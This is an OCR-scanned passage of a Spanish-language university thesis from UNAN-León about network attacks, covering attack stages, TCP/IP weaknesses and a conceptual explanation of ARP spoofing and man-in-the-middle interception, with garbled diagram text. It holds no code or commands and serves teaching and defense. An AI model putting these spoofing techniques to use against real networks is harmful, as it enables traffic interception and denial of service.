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Introduccion

1. INTRODUCCION.

A lo largo del tiempo, el avance de los medios tecnoldgicos y de comunicacién ha
provocado el surgimiento de nuevos vectores de ataques y de nuevas modalidades
delictivas que han transformado a internet y las tecnologias informaticas en aspectos
sumamente hostiles para cualquier tipo de organizacién y personas gque tengan equipos
conectados a la World Wide Web. Cada dia se descubren nuevos puntos débiles y por lo
general son pocos los responsables de IT (informacion tecnoldgica) que comprenden en
su justa medida la importancia que tiene la seguridad y como pueden abordar el grave
problema que existe detras de vulnerabilidades que permiten a un atacante violar la
seguridad de un entorno y cometer delitos.

Segun Zone-H, una organizacién para una red global de voluntarios dedicada a reunir
estadisticas sobre ataques contra servidores y sabotajes a sitios web, los intentos de
sabotaje contra servidores y sitios web han aumentado en 36% desde 2004, en que los
ataques notificados llegaron a 400,000 y segun esas estadisticas estima que 2,500

servidores son atacados cada dia a nivel mundial.

Durante los primeros afios de internet, los ataques a los sistemas informaticos requerian
pocos conocimientos técnicos ya que por un lado, los ataques realizados desde el interior
de la red se basaban en la alteracion de permisos para modificar la informacién del
sistema. Por el contrario, los ataques externos se producian gracias al conocimiento de
las contrasefias que eran necesarias para acceder a los equipos de la red, sin embargo
con el paso de los afios se han ido desarrollando nuevos ataques cada vez mas
sofisticados para explotar vulnerabilidades tanto en el disefio de las redes TCP/IP como
en la configuracién, operacion de los sistemas informaticos que conforman las redes

conectadas a internet.

Las redes de comunicaciones son un componente esencial en las instalaciones y
tecnologias en el presente y el futuro, por tanto garantizar su seguridad es vital para el
desarrollo de la sociedad de la informacion. Para ello, es preciso desarrollar ciertas
politicas de seguridad, que no son mas que normas O criterios que directa o
indirectamente permiten discernir los eventos y acciones prohibidas para un sistema,

desde el punto de vista de su seguridad.
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Por tanto la investigacion sobre mecanismos para detectar intrusos en las redes se ha
convertido en un area de especial interés dada la gran cantidad de ataques novedosos
gue se presentan, su impacto econémico y la importancia que ha adquirido la informacion
a medida que la sociedad se ha conectado a través de redes como la Internet, en la
actualidad la explosion de las redes sociales, los servicios informativos y la masificacion
de la presencia digital de empresas y personas naturales han generado nuevos focos de
atencion para los intrusos que merecen especial atencién, pues del mismo modo que la
tecnologia avanza, asi mismo los atacantes maduran y sus ataques se hacen cada vez

mas sofisticados.
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2. ANTECEDENTES.

A medida que nos adentramos en el mundo de la informatica como profesionales en esta
area se hace cada vez mas necesario el conocimiento de todo lo que respecta a
seguridad informatica. Conocer las debilidades existentes dentro de un entorno de red es
la mejor manera para aprender a cerca de seguridad, ya que esto nos pone del lado de un

atacante y asi ver los diferentes modos de atacar.

En el Departamento de Computacibn de la UNAN-Le6n no existe ningun trabajo
monografico dedicado a instruir a cerca de como ejecutar ataques a los servidores o
dispositivos de red. Un trabajo de este tipo conllevaria al lector a instruirse acerca de

cémo defenderse frente a los ataques tratados.

La Universidad Nacional Autébnoma de Nicaragua cuenta con su propia red distribuida a lo
largo de sus diferentes facultades. La red de la UNAN-Le6n ha sufrido ataques que cabe
destacar han sido de poca magnitud. Las vulnerabilidades existentes dentro de la red de
la UNAN-Ledn se basan en la falta de equipos que podrian hacer frente a las debilidades
con una buena seguridad, sin embargo se cuenta con poco presupuesto y queda en las
manos del equipo de Informética lidiar contra cualquier incidencia con los equipos fisicos y

servicios que se tienen al alcance.

La red de la UNAN-Le6Nn se ve mayormente atacada en la época de registro de notas y
consulta de resultados del examen de admision. Una incidencia de ataque se dio en el
afio 2010 para la consulta de resultados del examen de admision en donde se vio
afectada una herramienta que se usaba para convertir a pdf el reporte a imprimirse y se
mostraba una nota falsa. Cabe destacar que este ataque no afectd la base de datos,

ademas que esta estaba a modo solo lectura y no podia modificarse.

El subdominio del departamento de computacién (comp.unanleon.edu.ni) sufrié una caida
a causa de un malware, esto se dio también por la falta de recursos, ya que no se contaba
con un parche de seguridad para el sistema que corria el servidor (El servidor corria
Windows Server 2003).

Para los estudiantes de las carreras informaticas de nuestra universidad es de gran

importancia el conocimiento de las diferentes maneras de atacar servicios y dispositivos
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de red con el fin de que esto sirva de motivacion para buscar alternativas para solucionar

los huecos de seguridad.

Citando algunos antecedentes de ataques externos a la UNAN-Le6n podemos mencionar:

1-

En el 2009, varias maquinas de UNAN-Leon, fueron victimas de un virus llamado
Conficker o conocido como Downup, este virus entro por medio de una USB
infectada.

Jueves 4 de Marzo del 2010 fueron 179 sitios web los que fueron afectados por
el ataque de un Hacker a los sistemas de Cablenet o Claro TV, entre los sitios
web educativos se encuentra la Universidad Internacional para el Desarrollo
Sostenible (Unides), Universidad Evangélica Nicaragliense “Martin Luther King”,
proyecto Bibliobus y los colegios Nicaragliense Francés, Teresiano y La Salle. En
la lista de organismos nacionales se encuentra el sitio del Movimiento Infantil “Luis
Alfonso Velasquez Flores”, la Fundacion para ayudar a la nifiez de Nicaragua
(Fundar), la Compafila Santa Teresa de Jesus y el proyecto Ayudemos al
Zoolbégico Nacional. También la Bolsa Agropecuaria de Nicaragua S.A. (Bagsa) y
el Centro de Exportaciones e Inversiones (CEl).

En la UNAN-Ledn existen al menos 2 incidencias en las laboratorios a causa de
cables puenteados, desde el 2011 se trabaja con el director para evaluar ciertas

politicas para el uso de laboratorio y asi evitar estos problemas.

De acuerdo con reportes de Kaspersky Lab, en la primera mitad de 2011,
Estados Unidos encabez6 la lista del trafico DDoS a nivel global con 11%,
seguido de Indonesia (5%) y Polonia (5%). Pero en la segunda mitad del afio, en
cambio, Rusia alcanz6 la delantera con 16%, seguida de Ucrania (12%), Tailandia
(7%), Malasia (6%) y México, en quinto lugar, con 4%.

Durante la primera parte de 2011 el porcentaje de los atagues de Denegacién
de Servicios aumentd 22% respecto a lo registrado en el mismo periodo de 2010,
revelé un estudio a cargo de la firma de seguridad Trustwave. La empresa sefiala
que los ataques DDoS ocuparon 32% del total de los embates registrados durante
la primera parte del afio, seguido por la inyeccion de SQL con 21% vy los ataques
XSS con 9%.
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6- Segun algunos estudios confirmas en entre el 70% y 80% de los ataques
efectuados en una red proceden dentro de la misma, los administradores de red
pasan un largo tiempo tratando de impedir estos ataques internos ya que proteger
las red desde adentro es mucho mas facil que protegerla frente a ataques
externos.
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3. DEFINICION DEL PROBLEMA.

El tema de la seguridad informética toma un matiz obscuro, ya que cualquier persona
tiene alcance a métodos y técnicas que le permitan acceder de manera no autorizada a
un sistema en el mejor de los casos 0 conseguir informacion sensible, modificarla y hasta

eliminarla.

Conocer a fondo como funciona o cémo esta constituida la arquitectura de un sistema es
algo ideal, sin embargo esta idealidad se ve mermada por los fines negativos con lo que

es utilizado el conocimiento.

El mayor problema en que el mundo informatico es la intenciébn de hacer dafo,
permitiendo al cerebro humano formar parte de estas intenciones, aprovechandose de
algunas debilidades o fallas en el software, hardware e incluso en las personas que
forman parte de un ambiente informatico, a fin de obtener un beneficio por lo general de

indole econémico, causando un efecto negativo en la seguridad del sistema.

En el caso de la seguridad, saber la manera de como romperla conlleva a la persona con
buenas intenciones a tratar de sanar las deficiencias. Es por eso que para las personas
adentradas en la seguridad informatica es importante instruirse a cerca de las maneras de

como atacar, ya que esta es una manera de estar un paso adelante y lograr defenderse.
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4. JUSTIFICACION.

La finalidad de nuestro estudio es conocer la manera en que pueden ser atacados los
diferentes dispositivos y servicios de red, la manera como defenderse de dichos ataques,
realizando un estudio acerca de todos los posibles ataques mas comunes. Ofrecer una
vision sobre las debilidades cominmente explotadas por los atacantes para traspasar los
esquemas de la seguridad en los sistemas informéticos y redes de la comunicacién, junto
a posibles medidas bajo las cuales es posible ampararse para prevenir de manera
efectiva los diferentes tipos de ataques que diariamente recibe un sistema.

Esta investigacion es de trascendencia social ya que ayudara a solucionar los problemas
gque poseen actualmente empresas que de alguna manera utilizan redes de computadora,

también ayudara a resolver un problema real y actual en la sociedad.

La mejor manera de defender cualquier servicio de red es conociendo a plenitud las
diferentes vulnerabilidades, por tanto este trabajo se centra mas que todo en dar a
conocer las diferentes maneras de atacar dichos servicios y diferentes maneras de

prevenirlos.
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5. OBJETIVOS.

OBJETIVO GENERAL.

Implementar y Documentar ataques Spoofing, DoS e Inyecciones SQL, de esta
manera hacer notar diferentes vulnerabilidades existentes y proponer soluciones a
dichas vulnerabilidades.

OBJETIVOS ESPECIFICOS.

= Definir bases tedricas de tecnologias de red para comprender los ataques que las
afectan.

= Describir los ataques mas comunes que afectan los servicios y dispositivos de red.

= Proponer y resolver diferentes practicas a través de las diferentes capas del
modelo TCP/IP.

= Demostrar el dafio que pueden ocasionar los ataques abordados a los diferentes
servicios y dispositivos de red y proponer algunas soluciones o maneras de

defendernos.
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6. MARCO TEORICO.

El campo de la seguridad es una disciplina muy extensa que abarca muchos ambitos.
Estos ambitos van desde la seguridad fisica de una instalacién, en la que se tienen en
cuenta aspectos tan diversos como los accesos fisicos a la misma, riesgo de fallos de los
sistemas por causas tales como inundaciones, altas temperaturas y aspectos de la

seguridad en cada uno de los componentes de dichas instalaciones.

Previamente a la planificacion de un posible ataque contra uno o0 mas equipos de una red
TCP/IP, es necesario conocer el objetivo que hay que atacar. Para realizar esta primera
fase, es decir para obtener toda la informacion posible de la victima sera necesario utilizar

una serie de técnicas de obtencién y recoleccién de informacion.

Conocer las diferentes etapas que conforman un ataque informético brinda la ventaja de
aprender a pensar como los atacantes y jamas subestimar su mentalidad. Desde la
perspectiva del profesional de seguridad se debe aprovechar esas habilidades para
comprender y analizar la forma en que los atacantes llevan a cabo un ataque. La
seguridad consta de tres elementos fundamentales que forman parte de los objetivos que
intentan comprometer los atacantes, estos elementos son la confidencialidad, la
integridad y la disponibilidad de los recursos. Bajo esta perspectiva el atacante
intentara explotar las vulnerabilidades de un sistema o de uno de estos elementos en

algunas fases de ataque.

Confidencialidad, un atacante afecta este elemento cuando se pueda robar informacién
sensible como contrasefias u otro tipo de datos que viajan en texto claro a través de redes
confiables, atentando contra la confidencialidad al permitir que la otra persona que no es
el destinatario tenga acceso a los datos, un ejemplo que compromete este elemento es el
envenenamiento de la tabla arp.

Integridad, mientras la informacion se transmite a través del protocolo de comunicacion
un atacante podria interceptar el mensaje y realizar cambios en determinados bits del

texto cifrado con la intencion de alterar los datos criptograma, por ejemplo Bit-Flipping.
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Disponibilidad, en este caso un atacante podria utilizar los recursos de la organizacién
como el ancho de banda de la conexion para inundar de mensajes el sistema victima y
forzar la caida del mismo, negando a si los recursos y servicios a los usuarios legitimos

del sistema por ejemplo Denial Of Service (DoS).

Afortunadamente en la actualidad existe una gama muy amplia de herramientas de
seguridad los suficientemente eficaces que permite obtener un adecuado nivel de
seguridad ante instrucciones no autorizadas haciendo que la labor de los atacantes se
transforme en un camino dificil de recorrer. Los ataques de red son un problema comun
hoy en dia en Internet, estos son realizados por diversos motivos. Podemos distinguir las
siguientes categorias de ataques: Alteracion o eliminacion de informacién privada,
Repudio de un evento ya ocurrido, ataque de Denegacion de Servicio (DoS), Acceso

no autorizado a un sistema.

6.1 ETAPAS Y ANATOMIAS DE UN ATAQUE.

1-Reconocimientos.

2-Exploracion.

3-Obtener acceso.

4-Mantener el acceso.

5-Borrar Huellas.

ARARAD

Reconocimiento: Esta es la etapa que involucra la obtencion de informacion con

respecto a una potencial victima que pueda ser una persona u organizacion.
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Exploracién: Esta segunda etapa se utiliza la informacién obtenida en la fase 1 para
sondear el blanco y tratar de obtener informacion sobre el sistema victima como direccion
IP, nombre de host, datos de autenticacion.

Obtener acceso: En esta instancia comienza a materializarse el ataque a través de la
explotacion de las vulnerabilidades y defectos del sistema descubiertos durante las fases
de reconocimiento y exploracion.

Mantener el acceso: Una vez que el atacante ha conseguido acceder al sistema buscara
implantar herramientas que le permitan volver a acceder en el futuro desde cualquier lugar
donde tenga acceso a internet.

Borrar huellas: Una vez que el atacante logro obtener y mantener el acceso al sistema,
intentara borrar todas las huellas que fue dejando durante la intrusién para evitar ser
detectado por el profesional de seguridad o los administradores de red. En consecuencia
buscara eliminar los archivos de registro (log) o alarmas del sistema de deteccion de
intrusos (IDS).

6.1.1 LAS GENERACIONES DE LOS ATAQUES.

En los primeros afios los ataques involucraban poca sofisticacion técnica, los ataques
internos se basaban en utilizar los permisos para alterar la informacién y los externos se
basaban en acceder a la red simplemente averiguando una clave valida, a través de los
afios se han desarrollado formas cada vez mas sofisticadas de ataque para explotar
vulnerabilidades en el disefio y operacion de los sistemas. Esto permiti6 a los nuevos
atacantes tomar control de sistemas completos produciendo verdaderos desastres que
en muchos casos llevaron a la desaparicién de aquellas organizaciones o empresas con

altisimo grado de dependencia tecnolégica

En los dltimos afios, la frecuencia de aparicién de ataques ha crecido considerablemente,
este hecho ha dejado todas las vulnerabilidades descubiertas en todo tipo de sistemas
operativos y aplicaciones y convierte a cualquier organizaciéon en una victima potencial.
Este panorama plantea la necesidad de disponer de instrumentos que permitan descubrir

y analizar las brechas de seguridad que pueda presentar un sistema, asi como las
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técnicas y herramientas utilizadas por los posibles atacantes. Los ataques de red tienen

algunas generaciones entre ellas:

Primera generacion (ataques fisicos): Encontramos ataques que se centran en
componentes electrénicos como podrian ser los propios ordenadores, los cables o los
dispositivos de red. Actualmente se conocen soluciones para estos ataques utilizando
protocolos distribuidos y de redundancia para conseguir una tolerancia a fallos

aceptables.

Segunda generacion (ataques sintacticos): Se trata de ataques contra la logia
operativa de los ordenadores y las redes que quieren explorar vulnerabilidades existentes
en el software, algoritmos de cifrado y en protocolos. Aunque no existen soluciones
globales para contrarrestar de forma eficiente estos ataques, se pueden encontrar

soluciones cada vez mas eficaces.

Tercera generacion (ataques semanticos): Finalmente aquellos ataques que se
aprovechan de la confianza de los usuarios en la informacién. Este tipo de ataques
pueden ir desde la colocacién de informacion falta en boletines informativos y correos

electronicos hasta la modificacion del contenido de los datos en servicios de confianza.

6.1.2 ASPECTOS GENERALES DE VULNERABILIDAD EN MODELO TCP/IP.

Desde hace mas de una década los problemas de la seguridad en las redes de datos han
preocupado a toda la comunidad internacional, muchas han sido las soluciones halladas
para mitigar esta dolencia inherente a las redes TCP/IP por sus caracteristicas, por
ejemplo el filtrado de paquetes, deteccién de intrusos, antivirus, sin embargo las redes
de computadoras y sus problemas de seguridad tienen caracteristicas que no son las
mismas todo el tiempo, hay situaciones que adicionan complejidad a las medidas o
mecanismos de proteccion y al trabajo del personal que se ocupa de estos problemas, ya

que algunos problemas que marcan la diferentes en diferentes tiempos cronol6gicos son:

e Diversidad, fuerza y profundidad de los ataques: Los ataques tienen
caracteristicas disimiles, persisten en su efectividad por ejemplo los ataques de

denegacion de servicios como el Syn Flooding, Smurf y otros, cobran fuerza con los
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ataques distribuidos, los ataques a sitios web y a sus bases de datos. La mayor
parte de los ataques reflejan un gran conocimiento de las caracteristicas y
debilidades de los sistemas sin que sea sinénimo de gran conocimiento por parte
de los atacantes.

e Cada vez son mas las computadoras que proteger: Las redes de
computadoras son muy grandes, cada empresa, universidad o entidad, posee
una red que llega a todos los rincones de la misma y que es utilizada por la
mayor parte del personal correspondiente.

e Numerosos y veloces enlaces a otras redes: Las posibilidades de acceso a
otras redes son inmensas, las soluciones de acceso telefénico enlaces a
Internet, conexiones a redes experimentales, corporativas o con otros fines
son muy comunes. Esto hace crecer el nUmero de puntos de acceso a una red
y por tanto la complejidad de control del flujo de informacién en cada acceso.

e Distribucion de gran cantidad de puntos a proteger por toda la red: Son
decenas y hasta cientos las computadoras cuya proteccion se hace
indispensable en cada lugar. La informacién sensible de cada entidad y los
servicios de la misma se hayan dispersos en diferentes segmentos de red por
diferentes causas.

e Redes corporativas: Es muy comdn que cada empresa o entidad tenga una
red nacional o regional. Esto permite potenciar el trabajo evitando gastos de
transporte y de otros medios de comunicacién. Por lo tanto existen numerosos
enlaces de alta velocidad y gran cantidad de servidores a proteger ubicados

en una especie de backbone controlado por la empresa.

Habitualmente el disefio de las redes se basaba en caracteristicas como la funcionalidad
o la eficiencia pero no en la seguridad condiciones que son rentables desde un punto de
vista de negocio a corto plazo pero que pueden resultar caras a largo plazo, para la
realizacion del andlisis y disefio de una red segura es necesario conocer los detalles y
caracteristicas de los protocolos de comunicacibn que seran los encargados de

transportar la informacion y los datos que desean distribuirse.

La familia de protocolos TCP/IP caracteriza un estandar ad-hoc de protocolos de

comunicaciones entre sistemas informaticos. El protocolo TCP/IP surgi6 alrededor de
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1960 como base de un sistema de comunicacion basado en redes de comunicacion de
paquetes desarrollado por el gobierno de los Estados Unidos y la agencia de defensa,
ARPA. Actualmente constituye la infraestructura tecnolégica mas extendida y desarrollada

sobre la que circula las comunicaciones electronicas (dato, voz, multimedia).

Desde el punto de vista de la seguridad, la familia de protocolos TCP/IP puede ser

vulnerable en base a dos conceptos inherentes a su disefio:

o El formato de los paquetes de los diferentes protocolos: Aparte de la propia
informacion transportada, la informacién contenida en cada uno de los campos de
la cabecera de los protocolo proporcionan una fuente muy valiosa de
conocimiento.

e ElI modo de funcionamiento de los protocolos: Las etapas asociadas a cada
proceso en los protocolos, asi como el método de actuacién en las diferentes
situaciones posible, ofrecen la informacion necesaria para analizar la existencia de

vulnerabilidades.

TCP/IP esta disefiado en una estructura en capas, fundamentadas en el estandar de los
protocolos de comunicacién que disefio la organizacion 1SO, denominado Open System
Inter Connection, cada una de las capa es responsable de llevar a cabo una tarea

especifica de la comunicacion y concretamente TCP/IP dispone de cuatro capas:

Capa de Red: Se encarga del envio y recepcion de los paquetes a través de la red asi
como de encaminarlos por las diferentes rutas que deben recorrer para llegar a su
destino, encontrando principalmente el protocolo IP e ICMP. El principal inconveniente de
esta capa puede ocurrir si alguien tuviera acceso a los equipos con los que la red opera,
es decir al acceso al cuarto de telecomunicaciones, al cableado o a los equipos remotos

establecidos para la comunicacion.

Capa de Internet: Esta es la capa de donde mayor informacion se puede obtener para
vulnerar un sistema, lo fundamental para acceder a esta es tener acceso a los
datagramas IP los que se pueden encontrar en cada paquete que circula por la red
mediante software. Un factor que juega a favor del atacante es el nivel de autenticacion

gue presenta la capa de internet la cual es a nivel de maquina, es decir que si un sistema
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llegara a presentar una falla como una direccion incorrecta el receptor no identificara si

esa es realmente la direccion o si es una direccion adulterada por un atacante.

Capa de Transporte: Se encarga de manejar los flujos de datos entre equipos, aca
existen dos protocolos principales a este nivel que son el TCP (protocolo fiable y orientado
a conexién) y UDP (un protocolo mas simple pero que no garantiza la recepcion de los
datos y no es orientado a conexién). Las principales vulnerabilidades estan asociadas a la
autenticacion de integracion y autenticacion de confidencialidad. Estos términos se
relacionan con el acceso a los protocolos de comunicacion entre capas permitiendo la

denegacion o manipulacion.

Capa de Aplicacién: Se establecen las deficiencias del servicio de nombre de dominio,
ya que se encarga de generar las solicitudes de cada usuario que circula por la red, lo que
hace el servidor DNS es responder a esa solicitudes y entregar los datos que fueron
pedidos donde este servidor. DNS funciona como una base de datos en donde se
encuentran las direcciones que solicitan los usuarios y cuando se tiene acceso a esta
especie de base de datos se presenta un inconveniente el cual hace vulnerable al sistema

ya que puede ser modificada.

También la capa de aplicacién ofrece el servicio TELNET el cual se encarga de autenticar
la solicitud de usuario de nombre y contrasefia que se transmite por la red, tanto por el
canal de datos como por el canal de comandos. Ofrece también el servicio FTP, el cual se

encarga de autenticar pero es mas vulnerable ya que es de caracter anénimo.

Por ultimo esta dado por el protocolo HTTP el cual es responsable del servicio World
Wide Web, la principal vulnerabilidad de este protocolo esta asociada a las deficiencias de
programacion que puede presentar un link determinado lo cual puede poner en serios

riesgos el equipo que soporta este link, es decir el computador servidor.

6.1.3 SEGURIDAD Y ATAQUES EN REDES INTERNAS.

En los ultimos tiempos en las redes internas han ocurrido afectaciones a la seguridad del
sistema, debido a esto surge la necesidad de realizar estudios de las diferentes formas

gue emplean las personas malintencionadas con el fin de sustraer informacion personal,
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suplantar identidades y poner el riesgo la seguridad de los servidores y de otros clientes.
A pesar de las topologias de seguridad de redes basadas en cortafuegos, enrutadores y
conmutadores es posible romper la seguridad interna de las redes y realizar ataques de
identidad de equipos y de usuarios.

Uno de los primeros ataques contra las dos primeras capas del modelo TCP/IP son las
escuchas de red, se trata de un ataque realmente efectivo, puesto que permite la
obtenciéon de una gran cantidad de informacion sensible. Sin la necesidad de acceso a
ningun sistema de la red, un atacante podra obtener informacion sobre cuentas de
usuario, claves de acceso o incluso mensajes de correo electrénico en el que se envian

estas claves etc.

En estas redes la seguridad informatica se basa en gran medida en la efectividad
administrativa de los permisos de acceso a los recursos informaticos, basados en la
identificacion, autenticacion y autorizacion de acceso en donde esta administracion

abarca lo siguiente:

= Procesos de solicitud, establecimiento, manejo, seguimiento y cierre de las
cuentas de usuario.

= Definir normas homogéneas para toda la organizacion.

= Revisiones periddicas sobre la administracion de las cuentas y los permisos de
acceso establecido, las mismas deben encargarse desde el punto de vista del
sistema operativo y aplicacion pudiendo ser llevadas a cabo por el personal de
auditoria o por la gerencia propietaria del sistema.

= Las revisiones deben orientarse a verificar la adecuacion de los permisos de
acceso de cada individuo o de acuerdo con sus necesidades operativas.

= Deteccién de las actividades no autorizadas, ya que ademas de realizar auditorias
o efectuar el seguimiento de los registro de transacciones existen otras medidas
gue ayudan a detectar la ocurrencia de actividades no autorizadas, basandose

algunas en evitar la dependencia hacia personas determinadas.
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6.1.4 ATAQUE DE SUPLANTACION DE IDENTIDAD.

La seguridad es la vanguardia de la mayoria de las redes y muchas empresas
implementan una politica de seguridad integral que abarca muchas de las capas del
modelo OSI, la capa de aplicacion hasta el fondo para la seguridad IP. Sin embargo, un
area que a menudo se deja intacto es el endurecimiento de capa 2 y esto puede abrir la
red a una variedad de ataques y compromisos. Estos tipos de ataques tienen como
objetivo engafar al sistema de la victima para ingresar al mismo, generalmente este
engafio se realiza tomando las sesiones ya establecida por la victima u obteniendo su

nombre de usuario o password.

Spoofing en términos de seguridad de redes hace referencia al uso de técnicas de
suplantacion de identidad generalmente con usos maliciosos o de investigacion. Pueden
clasificar los ataques de Spoofing, en funciéon de la tecnologia utilizada. Entre ellos: IP
Spoofing, ARP Spoofing, DNS Spoofing, Web Spoofing.

6.2 ARP SPOOFING.

Una de las técnicas mas formidables de ataques internos es la que se conoce como ARP
Spoofing, en donde coloca a un atacante en una posicién en la que puede espiar y
manipular el trafico local. El ataques conocido como el hombre de en medio es facil de
realizar gracias a un software sofisticado e incluso los atacantes con muy poco
conocimientos sobre redes disponen de buenas utilidades para llevar a cabo su travesura

con éxito.

6.2.1 ARP.

El protocolo ARP se publicé en noviembre de 1982 como RFC 826 por David C. Plumier,
como la seguridad en las tecnologia de la informacién no era un factor importante en

aquellas épocas el objetivo era simplemente proporcionar funcionalidad.

El protocolo de resolucion de direcciones (ARP), es un protocolo de bajo nivel utilizado
para hacer las direcciones dindmicas, es el encargado de traducir direcciones IP de 32

bits, a las correspondientes direcciones hardware generalmente de 48 bits en dispositivos
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Ethernet, permite que el cliente que solicita el servicio encuentre la direccion fisica del
cliente destino, en una red fisica similar dando solo la direccion IP de este. Estas
direcciones se almacenan en una memoria temporal llamada Cache ARP a la que se van
incorporando las nuevas direcciones IP a medida que van llegando. El software ARP
mantiene las tablas que relacionan las direcciones IP con las direcciones fisicas, cuando
un proceso IP de un cliente fuente estd enviando datagramas IP hacia otro cliente
necesita examinar su cache ARP para chequear si tiene almacenada la conversion de
direccion IP a direccion fisica del cliente destino. Si esto sucede el proceso IP extrae la
direccion fisica pone los datos en la trama usando dicha direccién y envia la trama, si no
conoce la ruta debe transmitir una solicitud ARP, dicho paquetes de solicitud es recibido
por los procesos ARP de todos los clientes que forman la red, el cliente destino reconoce
su direcciéon IP dentro del paquete de solicitud y le envia al cliente fuente un paquete de
respuesta ARP con su direccion fisica, cuando este recibe el cliente fuente almacena la
direccién IP y la direccion fisica del cliente destino en su cache y asi el proceso del cliente
fuente puede usar la informacion que esta registrada en el ARP de la cache para
determinar la direccién fisica del cliente destino y de esta manera puede entregarle

directamente el datagrama.

Para evitar el trafico innecesario por la red de los protocolos ARP el emisor debe incluir en
cada paquete de solicitud ARP su direccion IP vy fisica. El receptor debe guardar dicha

informacién en su cache antes de procesar el mensaje de solicitud.

192.168.0.1 BROADCAST 192.168.0.2
OA0A 0A OA QA QA FF:FF:FF:FF:FF:FF 0OB:0B:0B:0B:0B:CB

ARP-Reguest

>
Que maquina tiene 192.168.0.27 Llama 192.168.0.1 ARP-Reply
4
192 168 .0 2 en 0B:0B:0B:0B:0B:0B
Datagrama IP - >
h—-.

llustracion 1: Demostracion del funcionamiento de ARP.

En esta figura se puede observar que una maquina con la IP 192.168.0.1 y MAC
OA:0A:0A:0A:0A:0A solicita por difusion que direccion MAC esta asociada a la IP
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192.168.0.2, por lo tanto la maquina con la IP 192.168.0.2 y MAC OB:0OB:0OB:0B:OB:0OB
deberian ser la Unica que respondiera a la peticion.

El problema del funcionamiento de este protocolo ocurre cuando un computador malicioso
de la red responde a una consulta ARP que no le corresponde, ya que ARP es un
protocolo sin estado, el computador que recibiera esta clase de respuesta ARP
modificada no tendria manera de verificarlos y afadirla en su cache ARP un mapeo
incorrecto y esto se conoce como envenenamiento a la cache y es la manera como se
obligaria a un computador victima enviarle tramas a otro nodo que no necesariamente es
el destinatario pero se hace pasar por el pudiéndose llegar a obtener de esta manera

informacion que podria ser considerada importante en una red local.

6.2.2 TECNICAS DE ENVENENAMIENTO ARP.

Esta técnica constituye una de las muchas vulnerabilidades del protocolo TCP/IP, la
técnica de envenenamiento ARP consigue evitar las propiedades del modo de
comunicacion de las redes conmutadas. Los conmutadores solo envian informacién a los
clientes que estan incluidos en su cache ARP, limitando a si la difusion de la informacion
entre el resto de las computadoras de la red.

El uso de falsos mensajes ARP, un atacante puede desviar todas las comunicaciones
entre dos maquinas, con el resultado de que todo el trafico que se intercambia a través de
su PC, por medio de técnica Man in the middle, estos ataques ARP suelen tener éxito,

incluso con conexiones encriptados como SSL, SSH o PPTP.

El ARP Spoofing, también conocido como ARP Poison Routing, es una técnica usada
para infiltrarse en una red Ethernet conmutada, que puede permitir al atacante leer
paquetes de datos en la LAN, modificar el trafico, detener el trafico, envenenamiento de
ARP, incluyen el robo de datos de los ordenadores comprometidos, siendo eficaz tanto

por cable como inalambricas.

El objetivo del ARP Spoofing es enviar mensajes ARP falsos a la Ethernet, normalmente
la finalidad es asociar la direccibn MAC del atacante con la direccion IP de otro nodo,

como por ejemplo la puerta de enlace predeterminada (Gateway), cualquier trafico dirigido
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a la direccion IP de ese nodo, serd errbneamente enviado al atacante, en lugar de su
destino real, uno de los principales objetivos de realizar este tipo de ataque es
interponerse entre una o varias maquinas con el fin de interceptar, modificar o capturar
paquetes. El atacante, puede entonces elegir, entre reenviar el trafico a la puerta de
enlace predeterminada real (ataque pasivo o escucha) o modificar los datos antes de
reenviarlos (ataque activo). El atacante puede incluso lanzar un ataque de tipo DoS
(Denegacion de Servicio) contra una victima, asociando una direccibn MAC inexistente

con la direccioén IP de la puerta de enlace predeterminada de la victima.

192.168.0.1 192.168.0.3 192.168.0.2
0A:0A0ADAQA:DA 0C:0C:0C:0C:0C:0C 0B:0B:0B:0B:0B:0B
MAQUINA 1. ATACANTE. MAQUINA 2.
_ ARP-Reply
- 192 168.0 2esta 0C-0C:0C-0C-0C-0C ARP-Reply
ARP-Repl 192.168.0.1 esta 0C:0C:0C-0C:0C:0C
U2 esta . '
ARP Reply .
B ARP-Reply 192 168.0.1 esta 0C-0C:0C:0C:0C:0C "
- T2 Tea U L esta DU DU U
ARP Reply >

192.168.0.1 esta 0C:0C:0C:0C:0C:0C

llustracion 2: Demostracion del Envenenamiento ARP Spoofing.

Con este método toda comunicacion entre las 2 maquinas pasaria por la maquina
atacante ya que de esta forma tanto la primera como la segunda dirigen sus paquetes a la
direccion MAC 0C:0C:0C:0C:0C:0C de la tercera maquina establecida en medio. El flujo
de respuesta (arp reply) seria constante para evitar que la tabla de ARP de las 2
maquinas se refresque con la informacién correcta. Este proceso corresponde a una
suplantacion ARP y a partir del momento en que se haga efectivo el intercambio de
informacion entre las dos maquinas la tercera maquina podra tener conocimientos de ello

y re direccionara la informacioén hacia ellas.

El envenenamiento de ARP es una considerado como una técnica que puede causar una
denegacion de servicio DoS enviando paquetes de respuesta ARP a la computadora de la
victima haciéndole creer que su puesta de enlace predeterminada tiene otra direccién
MAC o que el servidor de correo tiene una direccion diferente denegando a si el servicio a

los usuarios de la red.
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Ejemplo de Ataque ARP SPOOFING.

Esta figura demuestra un Escenario tipico de un ataque ARP Spoofing, en donde existe
un usuario llamado BOB con una direccién IP 10.0.0.1 y MAC bb:bb:bb:bb:bb:bb y otro
usuario llamado Alice con una IP 10.0.0.7 y MAC aa:aa:aa:aa:aa:aa Yy la maquina que
realiza el ataque Attack, con una IP 10.0.0.3 y su MAC cc:cc:cc:cc:cc:cc.

Switch
Alice
20, . IP: 10.0.0.7
IP: 10.0.0.1 @, _@\‘i‘ & MAC: [aa:aa:aa:aa:aa:aal
MAC: [bb:bb:bb:bb:bb:bb] ‘94},‘?}9‘0 le\c?
e < -
‘O 2
Sy st
%, 2 R 58
G, Yy S
Ct’q\&@ ceg\\ ‘o\!\
RN NN
Ve o
Attacker
IP 10.0.0.3

MAC: [cc:ce:ce:ceiceice]

llustracion 3: Demostracion del envenenamiento Arp Spoofing.

Esta figura demuestra un Escenario tipico de un ataque ARP Spoofing, en donde el
atacante se coloca en medio de un cliente con una direccién IP 192.168.0.2 y MAC
AAAAAA'AAAACAA  y un router Gateway con una IP 192.168.0.1 y MAC
CC:.CC:CC:cc:cC:CC vy la maguina que realiza el ataque Attack Pc, con una IP
192.168.0.3 y su MAC BB:BB:BB:BB:BB:BB.

IP: 192.168.0.2

MAC: AAAAAAAA AAAA IP: 192.168.0.1

MAC: CCCC.CCCC.CCCC

—

| Ly —
L

>
GARP
“192.168.0.2
corresponds to
EBEB.EEEE.BBBB"

Client GARP
PC “192.168.0.1
corresponds to
EBBE.BBBB.EBEB”

ARP Spoofing

Attacker's PC
